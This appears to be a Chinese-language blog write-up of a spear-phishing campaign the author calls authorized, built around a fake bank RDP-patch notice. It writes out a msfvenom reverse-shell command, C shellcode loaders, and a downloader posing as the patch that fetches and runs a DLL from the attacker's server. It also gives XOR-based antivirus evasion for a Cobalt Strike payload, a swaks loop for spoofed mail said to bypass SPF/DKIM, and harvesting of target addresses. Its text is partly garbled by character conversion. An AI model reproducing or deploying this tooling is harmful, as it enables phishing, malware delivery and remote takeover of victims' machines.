做者: 傾旋
本次是受權的魚叉案例,也都是嘗試,經驗不夠豐富ios
「魚叉攻擊」是黑客攻擊方式之一,最多見的作法是,將木馬程序做爲電子郵件的附件,並起上一個極具誘惑力的名稱,發送給目標電腦,誘使受害者打開附件,從而感染木馬。shell
久久拿不到shell,遂開始經過魚叉攻擊,但願得到一些收穫windows
詢問是否容許支持這類技術手段:安全
接着找同事提供素材,一封客戶的郵件,裏面包含了郵件簽名、部門名稱、Logobash
大體內容爲:服務器
標題:上海xxx關於業務網、辦公網終端安全緊急加固公告
網絡
背景tcp
北京時間 2019 年 5 月 15 日微軟發佈安全補丁修復了 CVE 編號爲 CVE-2019-0708 的 Windows 遠程桌面服務(RDP)遠程代碼執行漏洞,該漏洞在不需身份認證的狀況下便可遠程觸發,危害與影響面極大。函數
受影響的版本測試
因爲該漏洞與去年的「Wannacry」勒索病毒具備相同等級的危害,由總行信息科技部研究決定,先推行漏洞加固補丁,確保業務網、辦公網所有修補漏洞。
安裝方式
解壓「上海xxxRDP漏洞補丁.zip」,解壓密碼:xxx123,解壓成功後,雙擊運行「RDP-VulnPatch.exe」便可:
修復成功會提示「修復漏洞成功!」
上海xxx
二零一九年五月二十日
其中解壓密碼也是目標常見的弱口令。
經過手工製做一個Windows/shell/reverse_tcp
的木馬DLL,先得到Msfvenom生成的shellcode。
$ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20
用以前的QQ拼音輸入法DLL劫持漏洞,來一次白利用。
VOID shdjshjdhsjhdjshdjs() { unsigned char buff[] = "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1" "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17" "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2"; PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { printf("error"); } if (!(CopyMemory(p, buff, sizeof(buff)))) { printf("error"); } CODE code = (CODE)p; code(); }
參考文章:https://payloads.online/archi...
在百度文庫搜索到來一些:
圖就不貼了,打碼麻煩。。。
寫了一個bash腳本用於發送僞造郵件:
for line in `cat mail` do echo "$line" sed "s/xx@xx.net/${line}/g" data.eml | swaks --to $line --from xx@smtp2go.com --h-From '=?UTF-8?B?xx?= <xx@xx.xx.cn>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log done
data.eml是轉換出來的郵件正文
該技術是能夠繞過SPF及DKIM檢測的。
具體參考:https://payloads.online/archi...
因爲是反彈cmd作測試,因此不會被360攔截
郵件效果以下:
通過確認,不是客戶的機器。
因爲以前使用的是QQ輸入法簽名加載器,當鼠標移動上去會顯示程序描述信息,這不是我想要的結果,因而開始手擼木馬….
開發環境:
測試環境:
寫一個下載器充當漏洞補丁程序,下載器再去服務器下載DLL模塊,使用Rundll32進行加載運行。
期間涉及到窗口提示優化、程序資源信息優化、權限申請
效果以下:
下載器代碼:
// Win32Project5.cpp : 定義控制檯應用程序的入口點。 // #include "stdafx.h" #include <Windows.h> #include <iostream> #include <UrlMon.h> #pragma comment(lib, "urlmon.lib") using namespace std; HRESULT DownloadFile(PTCHAR URL, PTCHAR File); static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg"); static TCHAR SaveFile[MAX_PATH]; static TCHAR FileName[] = TEXT("\\fff.dll"); // 下載文件 HRESULT DownloadFile(PTCHAR URL, PTCHAR File) { HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL); return hr; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { ZeroMemory(SaveFile, MAX_PATH); GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH); lstrcatW(SaveFile, FileName); if (DownloadFile(URL, SaveFile) != S_OK) { // wprintf(TEXT("Error: %d \n"), GetLastError()); MessageBox(NULL, TEXT("修復漏洞失敗,請檢查網絡,是否可以鏈接到微軟服務器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK); return 0; } lstrcatW(SaveFile, TEXT(",rundll32dllfun")); TCHAR opt[MAX_PATH]; ZeroMemory(opt, MAX_PATH); lstrcatW(opt, TEXT(" ")); lstrcatW(opt, SaveFile); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; si.cb = sizeof(si); si.wShowWindow = TRUE; CreateProcess( TEXT("C:\\Windows\\System32\\rundll32.exe"), opt, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); cout << GetLastError() << endl; MessageBox(NULL, TEXT("修復漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION); return 0; }
fff.jpeg的代碼:
// Win32Project6.cpp : 定義 DLL 應用程序的導出函數。 // #include "stdafx.h" #include "Win32Project6.h" typedef void(_stdcall *CODE)(); // 這是導出變量的一個示例 WIN32PROJECT6_API int nWin32Project6=0; extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow) { unsigned char buf[] = "\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2" "\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd" "\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7" "\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb" "\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97" "\xf...省略..."; PVOID p = NULL; p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (p != NULL) { memcpy(p, buf, sizeof(buf)); CODE code = (CODE)p; code(); } return; }
其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun
是符合rundll32加載的固定函數定義格式。
當木馬運行後,會在進程列表建立rundll32.exe,它是一個系統文件。
爲了使木馬獲取更高的權限,我開啓了管理員權限申請:
點擊是:
提示修復成功,而後程序關閉。
同時,本地機器上會生成一個dll文件:
進程中也會多出一個rundll32,360不會攔截:
服務端提供下載的服務器會多出日誌:
郵箱地址經過http://www.skymem.info 採集到200多個,同時也寫了一個腳本:
估計要跑一夜了,明天看收穫吧,若是有的話,繼續寫。
初版是一個敗筆,應該關注更多視覺感覺,好比圖標、logo,暗示它這個文件是可信的,不該該使用其餘程序用做加載器,來達到免殺的效果。若是第二版的木馬看成初版去發,我以爲成功率80%。
可是我以爲光采用反彈cmd的太爛了,木馬要像模像樣點。
因而,開始對木馬進行改造,下載器文件不變,只須要更新服務器上的fff.jpeg這個DLL便可,由於每次運行,都會下載這個DLL,而後用rundll32調用。
我想使得它上線cobaltstrike,繞過Windows Defender基本上沒啥問題了,既保證以前的郵件木馬可用,又能保證新的代碼更新。
重寫rundll32dllfun
便可:
fff.jpeg:
extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { CHAR cpu_code[] = "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09"; DWORD dwCodeLength = sizeof(cpu_code); DWORD dwOldProtect = NULL; for (DWORD i = 0; i < dwCodeLength; i++) { cpu_code[i] ^= 9; } PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pCodeSpace != NULL) { CopyMemory(pCodeSpace, cpu_code, dwCodeLength); Sleep(200); VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect); CODE coder = (CODE)pCodeSpace; HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL); WaitForSingleObject(hThread, INFINITE); } return; }
這裏採用了異或解碼shellcode、虛擬內存頁屬性調整、建立線程的方式執行shellcode,繞過90%的殺軟..
建立線程的好處就是,能夠調用WaitForSingleObject來使得shellcode執行完畢進程才退出。
好幾回調試的時候,進程執行完畢了shellcode還沒運行,使用WaitForSingleObject就解決了這個問題~
爲此爲還寫了一個異或腳本:
import sys from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp): shellcode = '' shellcode_size = 0 try: while True: code = src_fp.read(1) if code == '': break base10 = ord(code) ^ num code_hex = hex(base10) code_hex = code_hex.replace('0x','') if(len(code_hex) == 1): code_hex = '0' + code_hex shellcode += '\\x' + code_hex shellcode_size += 1 src_fp.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def main(): parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com') parser.add_argument('-v','--version',nargs='?') parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True) parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True) parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90) args = parser.parse_args() shellcode_size = process_bin(args.num, args.src, args.dst) sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__": main()
生成一個payload.bin:
選擇raw:
使用效果:
把生成的文件shellcode直接能夠放入源代碼進行編譯。
2/70的戰績:
https://www.virustotal.com/#/...
微步在線:
https://s.threatbook.cn/repor...
0/25的戰績,一個都未殺出:
更新了fff.jpeg後,我只須要在cobaltstrike上等待新上線的機器便可。。。
只要不停的發。。
Cobaltstrike已經具有了僞造郵件的功能,不用再記憶swaks命令了。
參考:https://cobaltstrike.com/help...
爲了使得smtp2go繞過spf檢查,因此在Bunce to
填寫xx@smtp2go.com
這兩天個人樣本被沙箱瘋狂分析:
不過這也正常…
其實釣魚:
網上那麼多騙子,和防騙教育,爲何老是有人上鉤,100我的沒有,那1萬個總會有。
附加了UAC屬性的應用程序上面會有一個盾牌,有些用戶誤覺得它是安全的。